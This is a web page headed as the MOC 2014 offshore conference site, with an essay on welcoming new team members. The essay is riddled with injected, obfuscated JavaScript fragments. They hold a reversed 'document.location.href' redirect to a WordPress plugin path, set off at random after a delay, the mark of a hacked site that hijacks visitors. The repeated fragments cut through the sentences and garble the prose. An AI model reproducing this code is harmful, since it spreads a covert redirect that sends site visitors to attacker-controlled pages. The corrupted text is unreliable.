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MOC 2014 – The Mediterranean Offshore Conference & Exhibition

Some new team members have jumped right in tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and begun contributing in a meaningful way almost immediately, tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and others have struggled to adjust to their new role because I failed as a leader tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and didn’t give them the tools they needed to succeed. One thing I’ve definitely learned is that the success of a new team member is determined not only by their own abilities tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and drive, but by the leadership on the team they are joining.

Recently, I was preparing to welcome a young new designer to our company. This position would be his first real experience working in our industry; so, prior to his start date, I decided to make a list of some of those lessons I’ve learned over the years as a way to remind myself of what I needed to tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}do to make sure he had the resources needed to succeed here. As I wrote my list, I realized that many of these lessons were actually common sense — tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and yet, if my past experiences are any indication, these common-sense lessons are exactly the ones that are easy to neglect tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and that we often need to be reminded of.

Joining a company can be an intimidating experience, especially if the company has a close-knit culture or the team has been together for some time — two factors that contribute to new employees feeling like outsiders. As a leader, you can make your new team member feel welcome by showing them, both in actions tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and in words, that they are absolutely now a member of the team.

If your website lists biographies tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and pictures of employees, make it a point to add the new team member’s information quickly. Even in organizations that have a “probationary period” to evaluate new hires, those employees should still be added to the tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}website sooner than later. Having a presence on the website, alongside their colleagues, demonstrates to those new team members that they are a part of the group.

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19 September 2014 Reply

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